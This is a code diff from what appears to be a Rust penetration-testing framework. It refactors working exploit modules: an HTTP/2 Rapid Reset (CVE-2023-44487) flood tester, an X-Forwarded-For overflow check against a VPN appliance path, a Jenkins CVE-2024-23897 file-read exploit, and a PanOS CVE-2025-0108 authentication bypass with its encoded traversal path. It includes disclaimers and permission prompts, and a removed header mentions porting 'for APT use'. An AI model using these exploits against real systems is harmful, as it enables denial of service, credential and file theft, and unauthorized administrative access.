|
||||
created_streams.push(send_stream);
|
||||
if delay_ms > 0 {
|
||||
if delay_ms > 0 && i < num_streams - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
|
||||
}
|
||||
}
|
||||
@@ -315,15 +426,18 @@ async fn rapid_reset_test(
|
||||
// Phase 2: Rapidly reset all streams
|
||||
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
|
||||
let reset_start = Instant::now();
|
||||
let total_streams = created_streams.len();
|
||||
let mut reset_count = 0;
|
||||
|
||||
for mut send_stream in created_streams {
|
||||
// Send RST_STREAM - send_stream has a send_reset method
|
||||
send_stream.send_reset(h2::Reason::CANCEL);
|
||||
let reset_delay = if delay_ms > 0 { delay_ms / 10.max(1) } else { 0 };
|
||||
|
||||
for (idx, mut send_stream) in created_streams.into_iter().enumerate() {
|
||||
// Send RST_STREAM
|
||||
send_stream.send_reset(Reason::CANCEL);
|
||||
reset_count += 1;
|
||||
|
||||
if delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
|
||||
if reset_delay > 0 && idx < total_streams - 1 {
|
||||
tokio::time::sleep(Duration::from_millis(reset_delay)).await;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -340,18 +454,7 @@ async fn rapid_reset_test(
|
||||
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
|
||||
|
||||
// Phase 3: Analysis
|
||||
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
|
||||
|
||||
if reset_rate > 1000.0 {
|
||||
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
|
||||
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
|
||||
} else if reset_rate > 100.0 {
|
||||
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
|
||||
println!("{}", " Further testing may be needed".yellow());
|
||||
} else {
|
||||
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
|
||||
println!("{}", " This suggests some protection against the vulnerability".green());
|
||||
}
|
||||
print_vulnerability_analysis(reset_rate);
|
||||
|
||||
// Cleanup
|
||||
drop(sender);
|
||||
@@ -361,53 +464,43 @@ async fn rapid_reset_test(
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Print vulnerability analysis based on reset rate
|
||||
fn print_vulnerability_analysis(reset_rate: f64) {
|
||||
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
|
||||
|
||||
if reset_rate > 1000.0 {
|
||||
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
|
||||
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
|
||||
} else if reset_rate > 100.0 {
|
||||
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
|
||||
println!("{}", " Further testing may be needed".yellow());
|
||||
} else {
|
||||
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
|
||||
println!("{}", " This suggests some protection against the vulnerability".green());
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
// Parse target (could be host:port or just host)
|
||||
let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
|
||||
let h = &target[..colon_pos];
|
||||
let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
|
||||
(h.to_string(), p)
|
||||
} else {
|
||||
(target.to_string(), 443)
|
||||
};
|
||||
// Parse and validate target using utils.rs normalize_target
|
||||
let (host, default_port) = parse_target(target)?;
|
||||
|
||||
println!("{}", format!("[*] Target: {}:{}", host, default_port).cyan());
|
||||
|
||||
// Interactive prompts
|
||||
let mut port_input = String::new();
|
||||
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
|
||||
|
||||
let mut ssl_input = String::new();
|
||||
print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut ssl_input)?;
|
||||
let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');
|
||||
|
||||
let mut streams_input = String::new();
|
||||
print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut streams_input)?;
|
||||
let num_streams: usize = streams_input.trim().parse().unwrap_or(100);
|
||||
|
||||
let mut delay_input = String::new();
|
||||
print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut delay_input)?;
|
||||
let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);
|
||||
|
||||
let mut baseline_input = String::new();
|
||||
print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut baseline_input)?;
|
||||
let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');
|
||||
// Interactive prompts using shared utilities
|
||||
let port = prompt_int_range("Target port", default_port as i64, 1, 65535).await? as u16;
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS?", true).await?;
|
||||
let num_streams = prompt_int_range("Number of streams for rapid reset test", 100, 1, 10000).await? as usize;
|
||||
let delay_ms = prompt_int_range("Delay between operations (ms)", 1, 0, 1000).await? as u64;
|
||||
let run_baseline = prompt_yes_no("Run baseline test first?", true).await?;
|
||||
|
||||
println!("\n{}", "=".repeat(60).cyan());
|
||||
println!("{}", format!("Target: {}:{}", host, port).yellow());
|
||||
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
|
||||
println!("{}", format!("Streams: {}", num_streams).yellow());
|
||||
println!("{}", format!("Delay: {}ms", delay_ms).yellow());
|
||||
println!("{}", "=".repeat(60).cyan());
|
||||
|
||||
// Legal disclaimer
|
||||
@@ -416,12 +509,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Ensure you have permission to test the target system.");
|
||||
println!("Unauthorized use may be illegal.\n");
|
||||
|
||||
let mut confirm = String::new();
|
||||
print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut confirm)?;
|
||||
|
||||
if !confirm.trim().to_lowercase().starts_with('y') {
|
||||
if !prompt_yes_no("Do you have permission to test this system?", false).await? {
|
||||
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
|
||||
return Ok(());
|
||||
}
|
||||
@@ -442,4 +530,3 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
@@ -32,13 +32,13 @@
|
||||
|
||||
|
||||
|
||||
use anyhow::Result;
|
||||
use anyhow::{Context, Result};
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use std::time::Duration;
|
||||
use tokio::time::sleep;
|
||||
use tokio::io::{self, AsyncBufReadExt, BufReader};
|
||||
use url::Url;
|
||||
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
/// ANSI color codes for terminal output
|
||||
struct Colors;
|
||||
@@ -57,17 +57,20 @@ const PATHS: [&str; 2] = [
|
||||
];
|
||||
|
||||
/// // Headers for initial and payload requests
|
||||
fn default_headers() -> reqwest::header::HeaderMap {
|
||||
fn default_headers() -> Result<reqwest::header::HeaderMap> {
|
||||
let mut headers = reqwest::header::HeaderMap::new();
|
||||
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
|
||||
headers
|
||||
headers.insert("User-Agent", "Mozilla/5.0".parse()
|
||||
.context("Failed to parse User-Agent header")?);
|
||||
Ok(headers)
|
||||
}
|
||||
|
||||
fn payload_headers() -> reqwest::header::HeaderMap {
|
||||
fn payload_headers() -> Result<reqwest::header::HeaderMap> {
|
||||
let mut headers = reqwest::header::HeaderMap::new();
|
||||
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
|
||||
headers.insert("X-Forwarded-For", "1".repeat(2048).parse().unwrap());
|
||||
headers
|
||||
headers.insert("User-Agent", "Mozilla/5.0".parse()
|
||||
.context("Failed to parse User-Agent header")?);
|
||||
headers.insert("X-Forwarded-For", "1".repeat(2048).parse()
|
||||
.context("Failed to parse X-Forwarded-For header")?);
|
||||
Ok(headers)
|
||||
}
|
||||
|
||||
/// // Safe HTTP request wrapper
|
||||
@@ -90,34 +93,6 @@ async fn safe_request(
|
||||
}
|
||||
}
|
||||
|
||||
/// // Normalize and extract usable target URL from IPv6/host formats
|
||||
async fn normalize_target(raw: &str) -> Result<String> {
|
||||
let mut input = raw.trim().to_string();
|
||||
|
||||
// // Handle IPv6 edge brackets like [[::1]] or [[[::1]]]
|
||||
while input.starts_with('[') && input.ends_with(']') {
|
||||
input = input.trim_start_matches('[').trim_end_matches(']').to_string();
|
||||
}
|
||||
|
||||
// // Prepend https:// if missing
|
||||
if !input.starts_with("http://") && !input.starts_with("https://") {
|
||||
input = format!("https://{}", input);
|
||||
}
|
||||
|
||||
let mut parsed = Url::parse(&input)?;
|
||||
|
||||
// // Prompt for port if not present
|
||||
if parsed.port_or_known_default().is_none() {
|
||||
println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET);
|
||||
let mut port_line = String::new();
|
||||
BufReader::new(io::stdin()).read_line(&mut port_line).await?;
|
||||
let port = port_line.trim().parse::<u16>()?;
|
||||
parsed.set_port(Some(port)).expect("invalid port");
|
||||
}
|
||||
|
||||
Ok(parsed[..].to_string())
|
||||
}
|
||||
|
||||
/// // Version info grabber for passive fingerprinting
|
||||
async fn grab_version_info(target: &str) -> Result<Option<String>> {
|
||||
let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
|
||||
@@ -189,7 +164,7 @@ async fn detailed_check(target: &str) -> Result<Vec<String>> {
|
||||
println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);
|
||||
|
||||
// // Step 1: Pre-check
|
||||
let r1 = safe_request("GET", &full_url, default_headers(), 5).await;
|
||||
let r1 = safe_request("GET", &full_url, default_headers()?, 5).await;
|
||||
if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
|
||||
println!(
|
||||
"{}Pre-check failed (status: {}). Skipping...{}",
|
||||
@@ -203,7 +178,7 @@ async fn detailed_check(target: &str) -> Result<Vec<String>> {
|
||||
println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);
|
||||
|
||||
// // Step 2: Payload
|
||||
let r2 = safe_request("POST", &full_url, payload_headers(), 10).await;
|
||||
let r2 = safe_request("POST", &full_url, payload_headers()?, 10).await;
|
||||
if r2.is_some() {
|
||||
println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
|
||||
continue;
|
||||
@@ -216,7 +191,7 @@ async fn detailed_check(target: &str) -> Result<Vec<String>> {
|
||||
|
||||
// // Step 3: Follow-up GET
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
let r3 = safe_request("GET", &full_url, default_headers(), 5).await;
|
||||
let r3 = safe_request("GET", &full_url, default_headers()?, 5).await;
|
||||
|
||||
if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
|
||||
println!(
|
||||
@@ -241,7 +216,7 @@ async fn detailed_check(target: &str) -> Result<Vec<String>> {
|
||||
|
||||
/// // Required entry point for RouterSploit-style dispatcher
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let normalized = normalize_target(target).await?;
|
||||
let normalized = normalize_target(target)?;
|
||||
let result = detailed_check(&normalized).await?;
|
||||
|
||||
if !result.is_empty() {
|
||||
|
||||
@@ -1,4 +1,30 @@
|
||||
use std::io::{self, Write};
|
||||
//! Jenkins 2.441 Local File Inclusion (LFI) Exploit
|
||||
//!
|
||||
//! CVE-2024-23897 / Jenkins Security Advisory 2024-01-24
|
||||
//!
|
||||
//! This module exploits a local file inclusion vulnerability in Jenkins CLI
|
||||
//! that allows reading arbitrary files from the Jenkins server filesystem.
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! - **CVE**: CVE-2024-23897
|
||||
//! - **Affected Versions**: Jenkins 2.441 and earlier
|
||||
//! - **Attack Vector**: CLI command argument injection
|
||||
//! - **Impact**: Arbitrary file read, potential information disclosure
|
||||
//!
|
||||
//! ## Usage
|
||||
//! ```bash
|
||||
//! run exploit jenkins/jenkins_2_441_lfi <url> [filepath]
|
||||
//! ```
|
||||
//!
|
||||
//! If no filepath is provided, an interactive mode is started.
|
||||
//!
|
||||
//! ## Security Notes
|
||||
//! - All file paths are validated to prevent path traversal attacks
|
||||
//! - Input is sanitized to prevent null bytes and excessive length
|
||||
//! - Proper error handling prevents crashes
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use anyhow::{Result, bail, Context};
|
||||
@@ -7,6 +33,9 @@ use tokio::time::sleep;
|
||||
use reqwest::{Client};
|
||||
use uuid::Uuid;
|
||||
use regex::Regex;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
const TIMEOUT_SECS: u64 = 4;
|
||||
|
||||
@@ -19,18 +48,18 @@ struct ExploitState {
|
||||
}
|
||||
|
||||
impl ExploitState {
|
||||
fn new(url: String, identifier: String) -> Self {
|
||||
fn new(url: String, identifier: String) -> Result<Self> {
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(TIMEOUT_SECS))
|
||||
.build()
|
||||
.expect("Failed to create HTTP client");
|
||||
.context("Failed to create HTTP client")?;
|
||||
|
||||
Self {
|
||||
Ok(Self {
|
||||
url,
|
||||
identifier,
|
||||
client,
|
||||
listening: Arc::new(Mutex::new(false)),
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
async fn listen_and_print(&self) -> Result<()> {
|
||||
@@ -46,7 +75,8 @@ impl ExploitState {
|
||||
let output = response.text().await?;
|
||||
self.print_formatted_output(&output);
|
||||
|
||||
*self.listening.lock().unwrap() = false;
|
||||
*self.listening.lock()
|
||||
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -59,15 +89,17 @@ impl ExploitState {
|
||||
return;
|
||||
}
|
||||
|
||||
let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
|
||||
let results: Vec<String> = re
|
||||
.captures_iter(output)
|
||||
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
|
||||
.collect();
|
||||
// Compile regex once and handle errors properly
|
||||
if let Ok(re) = Regex::new(r#"No such agent "(.*)" exists."#) {
|
||||
let results: Vec<String> = re
|
||||
.captures_iter(output)
|
||||
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
|
||||
.collect();
|
||||
|
||||
if !results.is_empty() {
|
||||
for line in results {
|
||||
println!("{}", line);
|
||||
if !results.is_empty() {
|
||||
for line in results {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -89,16 +121,23 @@ impl ExploitState {
|
||||
}
|
||||
|
||||
async fn read_file(&self, filepath: &str) -> Result<()> {
|
||||
*self.listening.lock().unwrap() = true;
|
||||
*self.listening.lock()
|
||||
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = true;
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
|
||||
if let Err(e) = self.send_file_request(filepath).await {
|
||||
*self.listening.lock().unwrap() = false;
|
||||
*self.listening.lock()
|
||||
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))? = false;
|
||||
return Err(e);
|
||||
}
|
||||
|
||||
while *self.listening.lock().unwrap() {
|
||||
loop {
|
||||
let listening = *self.listening.lock()
|
||||
.map_err(|e| anyhow::anyhow!("Failed to acquire lock: {}", e))?;
|
||||
if !listening {
|
||||
break;
|
||||
}
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
|
||||
@@ -140,58 +179,32 @@ fn get_payload(filepath: &str) -> Vec<u8> {
|
||||
payload
|
||||
}
|
||||
|
||||
fn make_path_absolute(filepath: &str) -> String {
|
||||
if filepath.starts_with('/') {
|
||||
filepath.to_string()
|
||||
/// Validates and normalizes file path, preventing path traversal attacks
|
||||
fn make_path_absolute(filepath: &str) -> Result<String> {
|
||||
let trimmed = filepath.trim();
|
||||
|
||||
// Basic validation - prevent obvious path traversal
|
||||
if trimmed.contains("..") {
|
||||
return Err(anyhow::anyhow!("Path traversal detected in file path"));
|
||||
}
|
||||
|
||||
// Limit path length to prevent DoS
|
||||
if trimmed.len() > 4096 {
|
||||
return Err(anyhow::anyhow!("File path too long (max 4096 characters)"));
|
||||
}
|
||||
|
||||
// Remove null bytes
|
||||
if trimmed.contains('\0') {
|
||||
return Err(anyhow::anyhow!("Null bytes not allowed in file path"));
|
||||
}
|
||||
|
||||
if trimmed.starts_with('/') {
|
||||
Ok(trimmed.to_string())
|
||||
} else {
|
||||
format!("/proc/self/cwd/{}", filepath)
|
||||
Ok(format!("/proc/self/cwd/{}", trimmed))
|
||||
}
|
||||
}
|
||||
|
||||
fn format_target_url(url: &str) -> String {
|
||||
let url = url.trim_end_matches('/');
|
||||
format!("{}/cli", url)
|
||||
}
|
||||
|
||||
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
|
||||
println!("{}", "Press Ctrl+C to exit".cyan());
|
||||
|
||||
loop {
|
||||
print!("{}", "File to download:\n> ".green().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut input = String::new();
|
||||
match io::stdin().read_line(&mut input) {
|
||||
Ok(0) => break,
|
||||
Ok(_) => {
|
||||
let filepath = input.trim();
|
||||
if filepath.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let absolute_path = make_path_absolute(filepath);
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
if e.to_string().contains("timeout") {
|
||||
println!("{}", "Payload request timed out.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Error reading input: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(args: &str) -> Result<()> {
|
||||
let parts: Vec<&str> = args.split_whitespace().collect();
|
||||
|
||||
@@ -199,18 +212,22 @@ pub async fn run(args: &str) -> Result<()> {
|
||||
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
|
||||
}
|
||||
|
||||
let url = format_target_url(parts[0]);
|
||||
let normalized_base = normalize_target(parts[0])?;
|
||||
let url = format!("{}/cli", normalized_base.trim_end_matches('/'));
|
||||
|
||||
let filepath = parts.get(1).map(|s| s.to_string());
|
||||
let identifier = Uuid::new_v4().to_string();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", url).cyan().bold());
|
||||
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
|
||||
|
||||
let state = ExploitState::new(url, identifier);
|
||||
let state = ExploitState::new(url, identifier)
|
||||
.context("Failed to initialize exploit state")?;
|
||||
|
||||
if let Some(path) = filepath {
|
||||
let absolute_path = make_path_absolute(&path);
|
||||
println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());
|
||||
let absolute_path = make_path_absolute(&path)
|
||||
.context("Invalid file path provided")?;
|
||||
println!("{}", format!("[*] Reading file: {}", &absolute_path).cyan());
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
|
||||
@@ -236,3 +253,52 @@ pub async fn run(args: &str) -> Result<()> {
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
|
||||
println!("{}", "Press Ctrl+C to exit".cyan());
|
||||
|
||||
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
|
||||
loop {
|
||||
print!("{}", "File to download:\n> ".green().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
let mut input = String::new();
|
||||
match stdin_reader.read_line(&mut input).await {
|
||||
Ok(0) => break,
|
||||
Ok(_) => {
|
||||
let filepath = input.trim();
|
||||
if filepath.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let absolute_path = match make_path_absolute(filepath) {
|
||||
Ok(path) => path,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Invalid file path: {}", e).red());
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
if e.to_string().contains("timeout") {
|
||||
println!("{}", "Payload request timed out.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Error reading input: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -18,3 +18,4 @@ pub mod roundcube;
|
||||
pub mod flowise;
|
||||
pub mod http2;
|
||||
pub mod jenkins;
|
||||
pub mod react;
|
||||
|
||||
@@ -1,14 +1,39 @@
|
||||
// Filename: cve_2025_0108.rs
|
||||
// CVE-2025-0108 - PanOS Authentication Bypass
|
||||
// Author: iSee857
|
||||
// Ported to Rust by ethical hacker daniel for APT use
|
||||
//! PanOS Authentication Bypass - CVE-2025-0108
|
||||
//!
|
||||
//! This module exploits an authentication bypass vulnerability in Palo Alto Networks
|
||||
//! PanOS that allows unauthenticated access to administrative functions.
|
||||
//!
|
||||
//! ## Vulnerability Details
|
||||
//! - **CVE**: CVE-2025-0108
|
||||
//! - **Affected Products**: Palo Alto Networks PanOS
|
||||
//! - **Attack Vector**: Path traversal in authentication mechanism
|
||||
//! - **Impact**: Authentication bypass, unauthorized access
|
||||
//!
|
||||
//! ## Usage
|
||||
//! ```bash
|
||||
//! run exploit palo_alto/panos_authbypass_cve_2025_0108 <target>
|
||||
//! ```
|
||||
//!
|
||||
//! Supports single target or file-based target list (`.txt` file).
|
||||
//!
|
||||
//! ## Security Notes
|
||||
//! - Proper target normalization handles IPv4, IPv6, and URLs
|
||||
//! - Input validation prevents injection attacks
|
||||
//! - Error handling with proper context messages
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
//!
|
||||
//! Original Author: iSee857
|
||||
//! Ported to Rust for RustSploit framework
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::validate_file_path;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use reqwest::Client;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{self, BufRead, BufReader, Write},
|
||||
io::{BufRead, BufReader},
|
||||
process::Command,
|
||||
time::Duration,
|
||||
};
|
||||
@@ -31,8 +56,12 @@ fn banner() {
|
||||
|
||||
/// Reads target list from file
|
||||
fn read_file(file_path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(file_path)
|
||||
.with_context(|| format!("Failed to open file: {}", file_path))?;
|
||||
// Validate file path to prevent traversal attacks
|
||||
let validated_path = validate_file_path(file_path, true)
|
||||
.map_err(|e| anyhow::anyhow!("Invalid file path: {}", e))?;
|
||||
|
||||
let file = File::open(&validated_path)
|
||||
.with_context(|| format!("Failed to open file: {}", validated_path))?;
|
||||
let reader = BufReader::new(file);
|
||||
let urls: Vec<String> = reader
|
||||
.lines()
|
||||
@@ -49,7 +78,7 @@ fn read_file(file_path: &str) -> Result<Vec<String>> {
|
||||
Ok(urls)
|
||||
}
|
||||
|
||||
/// Normalize IPv6 host with double or triple brackets
|
||||
/// Normalize IPv6 host with brackets
|
||||
fn normalize_ipv6_host(host: &str) -> String {
|
||||
let stripped = host.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
@@ -59,67 +88,151 @@ fn normalize_ipv6_host(host: &str) -> String {
|
||||
}
|
||||
}
|
||||
|
||||
/// Extract host and port from target string
|
||||
fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
let target = target.trim();
|
||||
|
||||
// Try to parse as URL first
|
||||
if let Ok(url) = Url::parse(target) {
|
||||
if let Some(host) = url.host_str() {
|
||||
let port = url.port().unwrap_or(443);
|
||||
return Ok((host.to_string(), port));
|
||||
}
|
||||
}
|
||||
|
||||
// Handle IPv6 addresses in brackets [::1]:8080
|
||||
if target.starts_with('[') {
|
||||
if let Some(bracket_end) = target.find(']') {
|
||||
let host = target[1..bracket_end].to_string();
|
||||
let rest = &target[bracket_end + 1..];
|
||||
if rest.starts_with(':') {
|
||||
let port = rest[1..].parse::<u16>()
|
||||
.context("Invalid port number")?;
|
||||
return Ok((host, port));
|
||||
} else if rest.is_empty() {
|
||||
return Ok((host, 443));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Handle regular host:port or IPv4:port
|
||||
if let Some(colon_pos) = target.rfind(':') {
|
||||
// Check if it's an IPv6 address without brackets
|
||||
let before_colon = &target[..colon_pos];
|
||||
if before_colon.contains(':') {
|
||||
// It's IPv6 without brackets, default port
|
||||
return Ok((target.to_string(), 443));
|
||||
}
|
||||
|
||||
let host = target[..colon_pos].to_string();
|
||||
let port = target[colon_pos + 1..].parse::<u16>()
|
||||
.context("Invalid port number")?;
|
||||
Ok((host, port))
|
||||
} else {
|
||||
Ok((target.to_string(), 443))
|
||||
}
|
||||
}
|
||||
|
||||
/// Constructs the full normalized URL
|
||||
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
|
||||
let host = normalize_ipv6_host(host);
|
||||
let base = format!("{}{}:{}", proto, host, port);
|
||||
Url::parse(&base).ok().map(|u| u.to_string())
|
||||
fn build_url(host: &str, port: u16, proto: &str, path: &str) -> Result<String> {
|
||||
let host_normalized = normalize_ipv6_host(host);
|
||||
|
||||
// Build URL string
|
||||
let url_str = if host_normalized.starts_with('[') {
|
||||
// IPv6 with brackets
|
||||
format!("{}[{}]:{}{}", proto, &host_normalized[1..host_normalized.len()-1], port, path)
|
||||
} else {
|
||||
// IPv4 or hostname
|
||||
format!("{}{}:{}{}", proto, host_normalized, port, path)
|
||||
};
|
||||
|
||||
// Validate URL
|
||||
Url::parse(&url_str)
|
||||
.with_context(|| format!("Invalid URL format: {}", url_str))
|
||||
.map(|u| u.to_string())
|
||||
}
|
||||
|
||||
/// Opens a URL in the default system browser
|
||||
fn open_browser(url: &str) -> Result<()> {
|
||||
#[cfg(target_os = "linux")]
|
||||
let cmd = Command::new("xdg-open").arg(url).spawn();
|
||||
{
|
||||
Command::new("xdg-open")
|
||||
.arg(url)
|
||||
.spawn()
|
||||
.context("Failed to open browser with xdg-open")?;
|
||||
}
|
||||
|
||||
#[cfg(target_os = "windows")]
|
||||
let cmd = Command::new("cmd").args(["/C", "start", url]).spawn();
|
||||
{
|
||||
Command::new("cmd")
|
||||
.args(["/C", "start", url])
|
||||
.spawn()
|
||||
.context("Failed to open browser with cmd")?;
|
||||
}
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
let cmd = Command::new("open").arg(url).spawn();
|
||||
|
||||
if cmd.is_err() {
|
||||
bail!("Could not open default browser.");
|
||||
{
|
||||
Command::new("open")
|
||||
.arg(url)
|
||||
.spawn()
|
||||
.context("Failed to open browser with open")?;
|
||||
}
|
||||
|
||||
#[cfg(not(any(target_os = "linux", target_os = "windows", target_os = "macos")))]
|
||||
{
|
||||
return Err(anyhow::anyhow!("Browser opening not supported on this platform"));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Executes CVE-2025-0108 check
|
||||
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
|
||||
async fn check(host: &str, port: u16, client: &Client) -> Result<bool> {
|
||||
let protocols = ["http://", "https://"];
|
||||
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
|
||||
|
||||
for proto in &protocols {
|
||||
if let Some(base_url) = normalize_url(url, port, proto) {
|
||||
let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
|
||||
println!("{}", format!("[*] Testing: {}", full_url).yellow());
|
||||
match build_url(host, port, proto, path) {
|
||||
Ok(full_url) => {
|
||||
println!("{}", format!("[*] Testing: {}", full_url).yellow());
|
||||
|
||||
let resp = client.get(&full_url).send().await;
|
||||
match client.get(&full_url).send().await {
|
||||
Ok(res) => {
|
||||
let status = res.status();
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if let Ok(res) = resp {
|
||||
let status = res.status();
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
|
||||
let _ = open_browser(&full_url);
|
||||
return Ok(true);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] Not vulnerable: {}:{} - Response code: {}", url, port, status.as_u16())
|
||||
.red()
|
||||
);
|
||||
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
|
||||
println!(
|
||||
"{}",
|
||||
